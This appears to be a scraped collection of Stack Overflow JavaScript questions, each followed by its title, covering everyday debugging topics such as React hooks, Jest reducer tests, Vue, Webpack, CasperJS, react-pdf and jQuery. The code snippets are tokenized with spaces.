pointer or the window object.In CommonJS implementations , such as RingoJS and node.js the this pointer points to the current ModuleScope . However , we can access the global object through the property global defined on the ModuleScope . Hence we can access it via the this.global property.Hence this code snippet works in all browsers and in at least RingoJS and node.js , but I have not tested other CommomJS implementations . Thus I would like to know if this code will not yield correct results when run on any other CommonJS implementation , and if so how I may fix it.Eventually , I intend to use it in a lambda expression for my implementation independent JavaScript framework as follows ( idea from jQuery ) : var global = this.global || this ; ( function ( global ) { // javascript framework } ) ( this.global || this ) ;",Defining an implementation independent version of the global object in JavaScript "JS : I have created a functionality of autocomplete using jquery . It works perfectly fine but for ex : Whenever I type a text and and select the values from the list using mouse , it gets selected for the first time but if I again type and select the list . The values dont get selected.Below is my code . I am not able to get why its not wroking.UPDATEAnd in Vendor.ashx file below is the code which I use $ ( document ) .ready ( function ( ) { $ ( ' # txtAssignVendor ' ) .autocomplete ( { source : AppConfig.PrefixURL + 'VendorData.ashx ' , position : { my : `` left bottom '' , at : `` left top '' , } } ) ; } ) ; public void ProcessRequest ( HttpContext context ) { try { //DataTable dt = new DataTable ( ) ; string term = context.Request [ `` term '' ] ? ? `` `` ; List < string > VendorNames = new List < string > ( ) ; string connString = ConfigurationManager.ConnectionStrings [ `` ConnAPP_NEIQC_PLNG '' ] .ConnectionString ; using ( OracleConnection conn = new OracleConnection ( connString ) ) { OracleCommand cmd = new OracleCommand ( `` '' , conn ) ; cmd.CommandType = CommandType.StoredProcedure ; cmd.CommandText = ConfigurationManager.AppSettings [ `` PackageName '' ] .ToString ( ) + `` .GET_VENDOR_NAME '' ; cmd.Connection = conn ; cmd.Parameters.Add ( new OracleParameter { ParameterName = `` P_VENDORNAME '' , Value = term , OracleDbType = OracleDbType.NVarchar2 , Direction = ParameterDirection.Input } ) ; cmd.Parameters.Add ( new OracleParameter { ParameterName = `` TBL_DATA '' , OracleDbType = OracleDbType.RefCursor , Direction = ParameterDirection.Output } ) ; if ( conn.State ! = ConnectionState.Open ) conn.Open ( ) ; OracleDataAdapter da = new OracleDataAdapter ( cmd ) ; // da.Fill ( dt ) ; OracleDataReader dr = cmd.ExecuteReader ( ) ; while ( dr.Read ( ) ) { VendorNames.Add ( dr [ `` VENDORNAME '' ] .ToString ( ) ) ; //VendorNames.Add ( string.Format ( `` { 0 } - { 1 } '' , dr [ `` VENDOR_CODE '' ] , dr [ `` VENDOR_NAME '' ] ) ) ; } } JavaScriptSerializer js = new JavaScriptSerializer ( ) ; context.Response.Write ( js.Serialize ( VendorNames ) ) ; } catch ( Exception ex ) { throw ; } }",jQuery UI autocomplete values not getting selected after selection from mouse "JS : I 'm trying to create a way to generate sounds in sms . This gives me a `` Can not call method 'createScriptProcessor ' of null '' ? Is the JAudioContext supposed to be created ? ... AudioContext : JAudioContext ; node : JScriptProcessorNode ; ... procedure TForm1.W3Button1Click ( Sender : TObject ) ; var bufferSize : integer ; lastOut : float ; input , output : JFloat32Array ; begin bufferSize : = 4096 ; lastOut : = 0 ; node : = AudioContext.createScriptProcessor ( bufferSize , 1 , 1 ) ; node.onaudioprocess : = procedure ( e : JAudioProcessingEvent ) var i : integer ; begin input : = e.inputBuffer.getChannelData ( 0 ) ; output : = e.outputBuffer.getChannelData ( 0 ) ; for i : = 0 to bufferSize-1 do begin output [ i ] : = ( input [ i ] + lastOut ) / 2.0 ; lastOut : = output [ i ] ; end ; end ; end ;",How do i use AudioContext in WebAudio "JS : I 've generalized my lack of understanding of the situation to this small problem . Here 's what I think I know so far : I have an object myDog ( a global variable ) . Dog has a member variable el that is an html element ; because it 's an element , I can add event listeners to it . So , when you click on myDog.el , it logs to the console the values of this.name and myDog.name . As expected because of scope , this.name is undefined and myDog.name is 'tye ' . this inside of Dog.speak when invoked by the click event listener refers to the element that was clicked , the member variable el , not the object Dog . Since myDog is a global variable , it 's able to pick back up regardless of the function 's scope and get to myDog.name just fine.See code below : So ... my questions are1 ) What are some strategies for attaching objects to html elements , so that I can go from this.el back to myDog ( this.el 's owner ) without myDog being a global variable ? 2 ) Are global variables in this case a necessary evil ? And if so , what are so good strategies in this case to gracefully use them ? For example , what if I wanted 100 dogs instantiated ? How would I handle all those global variables in Dog.speak ? Here 's a jsfiddle version if you want to play with it : http : //jsfiddle.net/chadhutchins/Ewgw5/ function Dog ( name , id ) { this.name = name ? name : `` spot '' ; this.id = id ? id : `` dog '' ; this.el = document.getElementById ( this.id ) ; // given there is a div with a matching this.el.addEventListener ( `` click '' , this.speak ) ; // ignore IE for simplicity ( attachEvent has its own 'this ' scope issues ) } Dog.prototype = { speak : function ( ) { console.log ( `` this.name : `` +this.name+ '' \nmyDog.name : `` +myDog.name ) ; } } ; var myDog = new Dog ( `` tye '' , '' dog1 '' ) ;",Dealing with Scope in Object methods containing 'this ' keyword called by Event Listeners "JS : I am working for a reducer test . But the return state from reducer with action function is abnormal.reducer.react-test.jsreducer.jsfolder structureMy first and second test case works expectedly.However , while I tried to trigger action twice , I store the return state from first action . But the return state is unexpectedly , which executed ADD action twice . ( I expected once only ) Thus I got this result while I run jest : I must misunderstand the usage of trigging reducer function with action . I hope to get some proper way to trigger reducer with action and get expected result . import reducer from '../../test_module/reducer ' ; describe ( 'Test Reducer ' , ( ) = > { const initStatus = { id : -1 , list : [ ] } ; it ( ' 1 . has default state ' , ( ) = > { expect ( reducer ( initStatus , { type : 'unexpected ' } ) ) .toEqual ( { ... initStatus } ) ; } ) ; it ( ' 2 . has added once ' , ( ) = > { expect ( reducer ( initStatus , { type : `` ADD '' } ) ) .toEqual ( { ... initStatus , id : 0 , list : [ 0 ] , } ) ; } ) ; it ( ' 3 . has added twice ' , ( ) = > { const afterAddOnce = reducer ( initStatus , { type : `` ADD '' } ) ; expect ( reducer ( afterAddOnce , { type : `` ADD '' } ) ) .toEqual ( { ... initStatus , id : 1 , list : [ 0,1 ] , } ) ; } ) ; } ) export default function reducer ( state= { id : -1 , list : [ ] , } , action ) { switch ( action.type ) { case `` ADD '' : { state.id = state.id + 1 ; state.list.push ( state.id ) ; return { ... state , } ; } } return state ; } .├── __test__│ └── test_module│ └── reducer.react-test.js└── test_module └── reducer.js FAIL __test__/test_module/reducer.react-test.js ● Test Reducer › has added twice expect ( received ) .toEqual ( expected ) Expected value to equal : { `` id '' : 1 , `` list '' : [ 0 , 1 ] } Received : { `` id '' : 2 , `` list '' : [ 0 , 1 , 2 ] } Difference : - Expected + Received Object { - `` id '' : 1 , + `` id '' : 2 , `` list '' : Array [ 0 , 1 , + 2 , ] , }",ReactJS : how to trigger reducer with action in Jest "JS : I 'd like the user to be able to sort a list of todo items . When the users selects an item from a dropdown it will set the sortKey which will create a new version of setSortedTodos , and in turn trigger the useEffect and call setSortedTodos.The below example works exactly how I want , however eslint is prompting me to add todos to the useEffect dependancy array , and if I do it causes an infinite loop ( as you would expect ) . Live Example : I 'm thinking there has to be a better way of doing this that keeps eslint happy . const [ todos , setTodos ] = useState ( [ ] ) ; const [ sortKey , setSortKey ] = useState ( 'title ' ) ; const setSortedTodos = useCallback ( ( data ) = > { const cloned = data.slice ( 0 ) ; const sorted = cloned.sort ( ( a , b ) = > { const v1 = a [ sortKey ] .toLowerCase ( ) ; const v2 = b [ sortKey ] .toLowerCase ( ) ; if ( v1 < v2 ) { return -1 ; } if ( v1 > v2 ) { return 1 ; } return 0 ; } ) ; setTodos ( sorted ) ; } , [ sortKey ] ) ; useEffect ( ( ) = > { setSortedTodos ( todos ) ; } , [ setSortedTodos ] ) ; const { useState , useCallback , useEffect } = React ; const exampleToDos = [ { title : `` This '' , priority : `` 1 - high '' , text : `` Do this '' } , { title : `` That '' , priority : `` 1 - high '' , text : `` Do that '' } , { title : `` The Other '' , priority : `` 2 - medium '' , text : `` Do the other '' } , ] ; function Example ( ) { const [ todos , setTodos ] = useState ( exampleToDos ) ; const [ sortKey , setSortKey ] = useState ( 'title ' ) ; const setSortedTodos = useCallback ( ( data ) = > { const cloned = data.slice ( 0 ) ; const sorted = cloned.sort ( ( a , b ) = > { const v1 = a [ sortKey ] .toLowerCase ( ) ; const v2 = b [ sortKey ] .toLowerCase ( ) ; if ( v1 < v2 ) { return -1 ; } if ( v1 > v2 ) { return 1 ; } return 0 ; } ) ; setTodos ( sorted ) ; } , [ sortKey ] ) ; useEffect ( ( ) = > { setSortedTodos ( todos ) ; } , [ setSortedTodos ] ) ; const sortByChange = useCallback ( e = > { setSortKey ( e.target.value ) ; } ) ; return ( < div > Sort by : & nbsp ; < select onChange= { sortByChange } > < option selected= { sortKey === `` title '' } value= '' title '' > Title < /option > < option selected= { sortKey === `` priority '' } value= '' priority '' > Priority < /option > < /select > { todos.map ( ( { text , title , priority } ) = > ( < div className= '' todo '' > < h4 > { title } < span className= '' priority '' > { priority } < /span > < /h4 > < div > { text } < /div > < /div > ) ) } < /div > ) ; } ReactDOM.render ( < Example / > , document.getElementById ( `` root '' ) ) ; body { font-family : sans-serif ; } .todo { border : 1px solid # eee ; padding : 2px ; margin : 4px ; } .todo h4 { margin : 2px ; } .priority { float : right ; } < div id= '' root '' > < /div > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react/16.10.2/umd/react.production.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/react-dom/16.10.2/umd/react-dom.production.min.js '' > < /script >",useEffect - Prevent infinite loop when updating state "JS : I have the below jquery deferred logic.I want to return false for $ .getJSON call based on response from the backend json.For example , if the data.status == `` failure '' then I want to return `` false '' for getJSON . How to achieve this ? Thanks var $ qCallA = callA ( ) ; var $ qCallB = callB ( ) ; $ .when ( $ qCallA , $ qCallB ) .then ( function ( ) { $ ( `` # spinnerDiv '' ) .removeClass ( 'spinner show ' ) ; } ) ; function callA ( ) { return $ .getJSON ( `` /callA '' , function ( data ) { if ( data.status === `` success '' ) { buildTable1 ( data ) ; } } ) ; } function callB ( ) { return $ .getJSON ( `` /callB '' , function ( data ) { if ( data.status === `` success '' ) { buildTable2 ( data ) ; } } ) ; }",jquery deferred and return false based on server response "JS : Vue.js component instances have a vm. $ em property that gives access to a component 's root DOM element . Does the value of this property ever change during the lifecycle of a component or is it constant after the component is mounted ? In other words , once a component 's root DOM element is created , can it be replaced by Vue under some condition ? I know the contents of the DOM element can of course change.According to a component 's lifecycle diagram below , when data changes there is a `` Virtual DOM re-render and patch . '' I read the doc and tried to find the answer in Vue 's source , but I have n't found any conclusive answer so far.The closest I 've been with the source code is this in src/core/instance/lifecycle.js : This suggests that vm. $ el could be reassigned on every component render , but I have n't deciphered how __patch__ ( ) works so far to be sure and when _update ( ) is called exactly.Why bother ? I have some setup task to do on the root DOM element directly ( e.g . setup a jQuery plugin ) . Is it enough to do this only in the mounted hook ( yes if vm. $ el is constant ) or must I also do it in the updated hook when a change of vm. $ el is detected ? Vue.prototype._update = function ( vnode : VNode , hydrating ? : boolean ) { const vm : Component = this const prevEl = vm. $ el const prevVnode = vm._vnode const restoreActiveInstance = setActiveInstance ( vm ) vm._vnode = vnode // Vue.prototype.__patch__ is injected in entry points // based on the rendering backend used . if ( ! prevVnode ) { // initial render vm. $ el = vm.__patch__ ( vm. $ el , vnode , hydrating , false /* removeOnly */ ) } else { // updates vm. $ el = vm.__patch__ ( prevVnode , vnode ) } restoreActiveInstance ( ) // update __vue__ reference if ( prevEl ) { prevEl.__vue__ = null } if ( vm. $ el ) { vm. $ el.__vue__ = vm } // etc . }",Is Vue.js component 's vm. $ el constant or can it be reassigned ? "JS : Basically the code that broke my node js express server was this : when I changed this to this , it ran without problemsI did work like this in a loop.Why did it break my app ? resultArr = [ ] ; resultArr [ `` test '' ] = [ ] ; resultArr [ `` test '' ] [ 2015073012 ] = someObject ; resultArr = [ ] ; resultArr [ `` test '' ] = { } ; resultArr [ `` test '' ] [ 2015073012 ] = someObject ;",Why does javascript array with very high index numbers lead to crash / slow down / trouble ? "JS : This is a long shot , but I was wondering if there is such a thing as the C++ std : :bind in javascript or node.js ? Here 's the example where I felt the need for a bind : Instead of passing the callback to dbaccesss.exec , I would like to pass a function pointer that takes one parameter . In C++ I would pass this : This would result in a function that takes one parameter ( the 'result ' in my case ) , which I could pass instead of the anonymous callback.Right now I am duplicating all that code in the anonymous function for every route in my express app . var writeResponse = function ( response , result ) { response.write ( JSON.stringify ( result ) ) ; response.end ( ) ; } app.get ( '/sites ' , function ( req , res ) { res.writeHead ( 200 , { 'Content-Type ' : 'text/plain ' } ) ; dbaccess.exec ( query , function ( result ) { res.write ( JSON.stringify ( result ) ) ; res.end ( ) ; } ) ; } ) ; std : :bind ( writeResponse , res )",Is there an equivalent of std : :bind in javascript or node.js ? "JS : I 'm trying to use fetch in my async function , but flow is throwing this errorError : ( 51 , 26 ) Flow : Promise . This type is incompatible with union : type application of identifier Promise | type parameter T of await this is a code that can generate this error : I would like to type the response of response.json async myfunc ( ) { const response = await fetch ( 'example.com ' ) ; return await response.json ( ) ; }",Is there an example of using fetch with flowjs ? "JS : Why is foo.hasOwnProperty ( '__proto__ ' ) equal to false ? It ca n't be from any object in the prototype chain higher up , because it is specific to this very object.EDIT : Some answers say that it is on Object.prototype.But I do n't understand how that makes sense . My question is not where it is , but why it is n't where it should be.For example : So should n't a.__proto__ be equal to b.__proto__ ? Since they 're both reading off Object.prototype ? var foo = { bar : 5 } var a = new Foo ( ) ; var b = new Bar ( ) ; // Foo inherits from Bar",Why is foo.hasOwnProperty ( '__proto__ ' ) equal to false ? "JS : I am accessing a certain web service API which requires XML data in the request . For example , the API might be expecting : What 's the easiest way to build that XML request , possibly using jQuery ? Is there any standard serializer that I can use to build a JS object and serialize it to XML ? What 's the idiomatic way to do this ? < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < root > < a > 1 < /a > < b > 2 < /b > < /root >",Fastest way to build an XML request with jQuery "JS : I have a casperjs script which gives the desired result when I run on a linux server , but when I run the same from my laptop , it does n't work.How should I debug ? Logs of the working one : logs on windows machine : Script : This is how I am executing : casperjs -- ignore-ssl-errors=true test.jsThe resource is with a client and I am using a VPN on my windows machine to access the resource on my browser . The linux machine on which it is working is with the client itself [ info ] [ phantom ] Starting ... [ info ] [ phantom ] Running suite : 3 steps [ debug ] [ phantom ] opening url : http : //caspertest.grsrv.com/ , HTTP GET [ debug ] [ phantom ] Navigation requested : url=http : //caspertest.grsrv.com/ , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app/ , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` https : //caspertest.grsrv.com/my_app/ '' [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app/ # /auth , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` https : //caspertest.grsrv.com/my_app/ # /auth '' [ debug ] [ phantom ] Successfully injected Casper client-side utilities [ info ] [ phantom ] Step anonymous 2/3 https : //caspertest.grsrv.com/my_app/ # /auth ( HTTP 200 ) [ info ] [ remote ] attempting to fetch form element from selector : 'form ' [ debug ] [ remote ] Set `` null '' field value to test [ debug ] [ remote ] Set `` null '' field value to **** [ debug ] [ phantom ] Capturing page to /home/grsrvadmin/gs/casper/ss.png [ info ] [ phantom ] Capture saved to /home/grsrvadmin/gs/casper/ss.png [ debug ] [ phantom ] Mouse event 'mousedown ' on selector : input [ id= '' loginButton '' ] [ debug ] [ phantom ] Mouse event 'mouseup ' on selector : input [ id= '' loginButton '' ] [ debug ] [ phantom ] Mouse event 'click ' on selector : input [ id= '' loginButton '' ] [ info ] [ phantom ] Step anonymous 2/3 : done in 1556ms . [ info ] [ phantom ] Step _step 3/3 https : //caspertest.grsrv.com/my_app/ # /auth ( HTTP 200 ) [ info ] [ phantom ] Step _step 3/3 : done in 1569ms . [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app/ # /agreement/r8moskcfv7c80gpcd40fl12nmpf9e0nb , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` https : //caspertest.grsrv.com/my_app/ # /agreement/r8moskcfv7c80gpcd40fl12nmpf9e0nb '' [ debug ] [ phantom ] url changed to `` https : //caspertest.grsrv.com/my_app/ # /agreement/r8moskcfv7c80gpcd40fl12nmpf9e0nb '' [ info ] [ phantom ] waitFor ( ) finished in 217ms . [ info ] [ phantom ] Step anonymous 4/4 https : //caspertest.grsrv.com/my_app/ # /agreement/r8moskcfv7c80gpcd40fl12nmpf9e0nb ( HTTP 200 ) [ debug ] [ phantom ] Mouse event 'mousedown ' on selector : input [ id= '' aggr_actionAccept '' ] [ debug ] [ phantom ] Mouse event 'mouseup ' on selector : input [ id= '' aggr_actionAccept '' ] [ debug ] [ phantom ] Mouse event 'click ' on selector : input [ id= '' aggr_actionAccept '' ] [ info ] [ phantom ] Step anonymous 4/4 : done in 1813ms . [ info ] [ phantom ] Done 4 steps in 1826ms [ debug ] [ phantom ] Navigation requested : url=about : blank , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` about : blank '' [ info ] [ phantom ] Starting ... [ info ] [ phantom ] Running suite : 3 steps [ debug ] [ phantom ] opening url : http : //caspertest.grsrv.com/ , HTTP GET [ debug ] [ phantom ] Navigation requested : url=http : //caspertest.grsrv.com/ , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app/ , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` https : //caspertest.grsrv.com/my_app/ '' [ debug ] [ phantom ] Navigation requested : url=https : //caspertest.grsrv.com/my_app/ # /auth , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` https : //caspertest.grsrv.com/my_app/ # /auth '' [ debug ] [ phantom ] Successfully injected Casper client-side utilities [ info ] [ phantom ] Step anonymous 2/3 https : //caspertest.grsrv.com/my_app/ # /auth ( HTTP 200 ) [ info ] [ remote ] attempting to fetch form element from selector : 'form ' [ debug ] [ phantom ] Navigation requested : url=about : blank , type=Other , willNavigate=true , isMainFrame=true [ debug ] [ phantom ] url changed to `` about : blank '' var casper = require ( 'casper ' ) .create ( { waitTimeout : 60000 , stepTimeout : 60000 , verbose : true , logLevel : `` debug '' , viewportSize : { width : 1366 , height : 768 } , pageSettings : { `` userAgent '' : `` Mozilla/5.0 ( Windows NT 10.0 ; Win64 ; x64 ; rv:50.0 ) Gecko/20100101 Firefox/50.0 '' , `` loadImages '' : true , `` loadPlugins '' : true , `` webSecurityEnabled '' : false , `` ignoreSslErrors '' : true } , onWaitTimeout : function ( ) { casper.echo ( 'Wait TimeOut Occured ' ) ; } , onStepTimeout : function ( ) { casper.echo ( 'Step TimeOut Occured ' ) ; } } ) ; casper.start ( 'http : //caspertest.grsrv.com/ ' , function ( ) { this.fillSelectors ( 'form ' , { 'input [ id= '' userName '' ] ' : 'test ' , 'input [ id= '' userPassword '' ] ' : 'test ' , } , false ) ; this.capture ( 'ss.png ' ) ; this.click ( 'input [ id= '' loginButton '' ] ' ) } ) ; casper.waitForSelector ( ' # aggr_actionAccept ' , function ( ) { this.click ( 'input [ id= '' aggr_actionAccept '' ] ' ) } ) ;",casperjs does n't work as expected on windows machine "JS : A for-in loop will go through all enumerable properties of an object , even those in the prototype chain . The function hasOwnProperty can filter out those enumerable properties that are in the prototype chain . Finally , the function propertyIsEnumerable can discriminate the enumerable properties of an object.Therefore , the following script should not print anything : On Chrome , however , the above prints a lot of property names.Why do the for-in loop and propertyIsEnumerable contradict each other regarding enumerables ? for ( a in window ) if ( window.hasOwnProperty ( a ) & & ! window.propertyIsEnumerable ( a ) ) console.log ( a ) ;",Non-enumerable properties appear in for ... in loop in Chrome "JS : I 'm fairly new to JavaScript and I 've been hunting around for a solution for this problem : I have names and numbers being written to a data.json file in the same directory as my JavaScript file . What I 'm looking for is every few minutes to check that data.json and update my HTML p tag with the changes.My HTML block looks like this : My data.json looks like this : My Javascript block looks like this : ... < body > < p id= '' mydata '' > < /p > < /body > ... [ { `` Name '' : '' Charlie '' , '' Number '' : '' 5 '' } , { `` Name '' : '' Patrick '' , '' Number '' : '' 3 '' } ] ... setInterval ( function ( ) { var json = // read in json file //this is the part I 'm missing document.getElementById ( 'mydata ' ) .innerHTML = json ; } ,300000 ) ; // every 5 minutes",JavaScript method to import a local JSON file every x amount of minutes "JS : I included react-pdf in a fresh umi project : PDF-Generation 150 Text-components took arround 311.44 ms without umiUsing umi : 7179.40 msEvery single element takes about 10X more in umi projects ! Code example I triedNOTE : The following examples are ant-design-pro projects . BUT the error occurs in all umi-js projects.Fast version : https : //codesandbox.io/s/damp-thunder-rybh7Slow version : https : //codesandbox.io/s/confident-leaf-hgk7c ? file=/src/pages/user/login/index.tsxSlow version ( GitHub ) : https : //github.com/mleister97/ant-design-react-pdf-slow ( Slow version is a fresh setup of ant-design-pro , just modified the `` startup '' -page ) ( Make sure you open the Browser ( :8000 ) Tab as the application is served on this port AND check directly the browser 's console , not the codesandbox one ) What is going on behind the scenes when the toBlob is beeing called ? How can I fix this issue ? import React from `` react '' ; import `` ./styles.css '' ; import { Document , Page , pdf , Text , View } from `` @ react-pdf/renderer '' ; export default function App ( ) { const pdfClickHandler = async ( ) = > { console.time ( `` PDF generation took : '' ) ; await pdf ( < Document > < Page > < View > { Array.from ( Array ( 150 ) .keys ( ) ) .map ( ( key ) = > ( < Text key= { key } > text-element < /Text > ) ) } < /View > < /Page > < /Document > ) .toBlob ( ) ; console.timeEnd ( `` PDF generation took : '' ) ; } ; return ( < div className= '' App '' > < button onClick= { pdfClickHandler } > Generate fast PDF ( without ant-design-pro ) < /button > < /div > ) ; }",react-pdf generation is very slow in combination with umijs "JS : In my Next.JS app I import my stylesheet in _app.js like this : Index.css contains this : How do I solve the error message : ./src/public/css/Index.css ( ./node_modules/css-loader/dist/cjs.js ? ? ref -- 5-oneOf-5-1 ! ./node_modules/next/dist/compiled/postcss-loader ? ? __nextjs_postcss ! ./src/public/css/Index.css ) WarningGreetings , time traveller . We are in the golden age of prefix-lessCSS , where Autoprefixer is no longer needed for your stylesheet . import '../public/css/Index.css ' ; .index-container { margin : 20px auto 0 ; }","How do I solve `` Greetings , time traveller . We are in the golden age of prefix-less CSS , where Autoprefixer is no longer needed for your stylesheet . `` ?" "JS : Okay so I 'm having an issue with seeking through videos in my react components with Rails Webpacker . I can make them play but I ca n't seek through them . I 'm using Rails Active Storage to upload the videos then sending their urls to my react component via an html attribute rendered by rails_blob_path ( @ post.video ) ( see below snippet on step 9 ) . In my react component I have a < video / > element with the source being that parsed attribute . From there I have methods that control the element via a React.createRef ( ) . One of the methods ( play ( ) ) works as expected . However , my seek ( ) method does not and I do n't understand why.I made a minified example ( repo ) to isolate the problem and here are the following steps I took : rails new [ app ] -- webpacker=reactcd into [ app ] , rails active_storage : installrails g scaffold post title : stringrails db : migrateadd line has_one_attached : video to app/models/post.rbadd : video to white-listed params in app/controllers/posts_controller.rbadd below snippet as a form field in app/views/posts/_form.html.erbadd below to app/views/posts/show.html.erbchange app/javascript/packs/hello_react.jsx to have : start the server with rails s , go to localhost:3000/posts/newcreate a post ( you 'll need a video to upload ) , you 'll be redirected on submitting to the hello-react pack.I 've posted this before but have not gotten an answer . This is the first time I 've made a separate project and outline of the steps to isolate the issue . Hopefully that relays how desperate I am . Please let me know if I need to explain any steps or if you all need anymore info . Thank you all in advance for your help.Edit 11/11/18 : One answer has pointed out that it is a browser issue . I was using Chrome for all my testing but when I used FireFox it worked as expected . Still not sure how to fix this so that the app works cross-browser . < div class= '' field '' > < % = form.label : video % > < % = form.file_field : video % > < /div > < div id='payload ' url= ' < % = rails_blob_path ( @ post.video ) .to_json % > ' > < /div > < div id='hello-react ' > < /div > < % = javascript_pack_tag 'hello_react ' % > import React from 'react'import ReactDOM from 'react-dom'const node = document.getElementById ( 'payload ' ) const url = JSON.parse ( node.getAttribute ( 'url ' ) ) class App extends React.Component { componentWillMount ( ) { this.videoRef = React.createRef ( ) } seek = ( seekTo = 0 ) = > { this.videoRef.current.currentTime = seekTo } play = ( ) = > { this.videoRef.current.play ( ) } render ( ) { return ( < div > < video ref= { this.videoRef } controls > < source src= { url } type='video/mp4 ' / > < /video > < button onClick= { ( e ) = > { this.seek ( 5 ) } } > +5 < /button > < button onClick= { ( e ) = > { this.play ( ) } } > Play < /button > < /div > ) } } ReactDOM.render ( < App / > , document.getElementById ( 'hello-react ' ) )",Ca n't seek through video from Rails Active Storage with Rails-Webpacker React Frontend "JS : My JQuery slider does not work in IE ( in any documentmode ) . How could I fix this ? My code slides down a div of text after a button is pressed ( it fades in nicely too ) . The IE console gives me this error : `` Object does n't support property or method 'fadingSlideToggle ' '' .I wonder which part is not supported , and how to fix it . Thank you a lot ! EDIT : Here is the code where I call the function ( it works on firefox and chrome ) : The rest of the javascript : The JSFiddle that does not work in IE : http : //jsfiddle.net/3ymvv ( function ( $ ) { $ .fn.fadingSlideToggle = function ( $ el , options ) { var defaults = { duration : 500 , easing : 'swing ' , trigger : 'click ' } ; var settings = $ .extend ( { } , defaults , options ) $ selector = $ ( this ) .selector ; return this.each ( function ( ) { var $ this = $ ( this ) ; $ ( document ) .on ( settings.trigger , $ selector , function ( e ) { e.preventDefault ( ) ; if ( $ ( $ el ) .css ( 'display ' ) == 'none ' ) { $ ( $ el ) .animate ( { opacity : 'toggle ' , height : 'toggle ' } , settings.duration , settings.easing ) ; } else { $ ( $ el ) .animate ( { opacity : 'toggle ' , height : 'toggle ' } , settings.duration , settings.easing ) ; } } ) ; } ) ; } ; } ) ( jQuery ) ; < button class= '' btn-custom btn-lg '' '' id= '' clickedEl '' > < span > Why rate/review websites ? < /span > < /button > < /br > < nav role= '' navigation '' id= '' toggleEl '' > /*non relevant html*/ < /nav > $ ( function ( ) { $ ( ' # clickedEl ' ) .fadingSlideToggle ( ' # toggleEl ' ) ; } ) ;",Why does my JQuery fading slider not work on any IE type ? "JS : ES5 added a number of methods to Object , which seem to break the semantic consistency of JavaScript.For instance , prior to this extension , the JavaScript API always revolved around operarting on the object itself ; ... where as the new Object methods are like ; ... when the following would have been much more conformative : Can anyone cool my curiosity as to why this is ? Is there any code snippets that this would break ? Are there any public discussions made by the standards committee as to why they chose this approach ? var arrayLength = [ ] .length ; var firstPosInString = `` foo '' .indexOf ( `` o '' ) ; var obj = { } ; Object.defineProperty ( obj , { value : ' a ' , writable : false } ) ; var obj = { } ; obj.defineProperty ( { value : ' a ' , writable : false } ) ;",Why were ES5 Object methods not added to Object.prototype ? "JS : I do n't much like the standard way to require modules , which goes something like this : It 's not exactly DRY . In a modest CoffeeScript server , the require dance takes up a fair chunk of the entire script ! I 've been toying with the following alternative : Since I have n't seen people try to refactor the standard approach , I thought I 'd ask if it seems reasonable to do so , and if so , are there any better ways to do it ? connect = require 'connect'express = require 'express'redis = require 'redis'sys = require 'sys'coffee = require 'coffee-script'fs = require 'fs ' `` connect , express , redis , sys , coffee-script , fs '' .split ( ' , ' ) .forEach ( lib ) - > global [ lib ] = require lib",Best way to require several modules in NodeJS "JS : I have built various Test Automation frameworks using the Page Object Pattern with Java ( https : //code.google.com/p/selenium/wiki/PageObjects ) .Two of the big benefits I have found are:1 ) You can see what methods are available when you have an instance of a page ( e.g . typing homepage . will show me all the actions/methods you can call from the homepage ) 2 ) Because navigation methods ( e.g . goToHomepage ( ) ) return an instance of the subsequent page ( e.g . homepage ) , you can navigate through your tests simply by writing the code and seeing where it takes you.e.g.These benefits work perfectly with Java since the type of object ( or page in this case ) is known by the IDE.However , with JavaScript ( dynamically typed language ) , the object type is not fixed at any point and is often ambiguous to the IDE . Therefore , I can not see how you can realise these benefits on an automation suite built using JavaScript ( e.g . by using Cucumber ) .Can anyone show me how you would use JavaScript with the Page Object Pattern to gain these benefits ? WelcomePage welcomePage = loginPage.loginWithValidUser ( validUser ) ; PaymentsPage paymentsPage = welcomePage.goToPaymentsPage ( ) ;",Is JavaScript compatible with strict Page Object Pattern ? "JS : Im trying to set up my project with webpack , i 've read about code-splitting and i am trying to make two separate bundles , one for the actual application code and the other for libraries and frameworks . So my webpack config looks like this : in my vendor.js bundle i have only one line : And when i try to use it in my app.js file it tells me , that moment is not defined . So , the thing that i do n't get , do bundles have common scope or not ? If not , then how can i access variables that i 've exported in another bundle and if i ca n't , then what 's even the point of having the vendor bundle like described here https : //webpack.js.org/guides/code-splitting-libraries/ ? entry : { app : './app/index.js ' , vendor : './app/vendor.js ' } , output : { filename : ' [ name ] . [ chunkhash ] .js ' , path : path.resolve ( __dirname , 'public/js ' ) } , watch : true , module : { rules : [ { test : /\.css $ / , use : ExtractTextPlugin.extract ( { use : 'css-loader ' } ) } ] } , plugins : [ new ExtractTextPlugin ( 'styles.css ' ) , new webpack.optimize.CommonsChunkPlugin ( { name : 'vendor ' } ) ] import moment from 'moment ' ;",Webpack code splitting "JS : I am learning regex and I want to implement this in react app so when I write something on input field I want to allow user to write only numbers and maximum one space . This string also must starts with + character . My regex tool shows me good result but in app I can not write anything.With this expression I wanted to implement this : starts with + and later you can write some digits . But in app I can not write anything . Why this tool is so different from this live matching ? With this : const handlePhone = ( { currentTarget } ) = > { let val = currentTarget.value ; // Regular expression const reg = /^\+\d+/g ; const isNumber = val.match ( reg ) ; if ( isNumber || val === `` ) { setFieldValue ( 'phone ' , val ) ; } } ; const reg = /^\+\d+ ( \d+ ) * $ / ;",Number formatting using regex with special characters "JS : Following is my code in which I am not getting selected radio option for each corresponding rows , let me know what I am doing wrong here.My Plnkr Code - http : 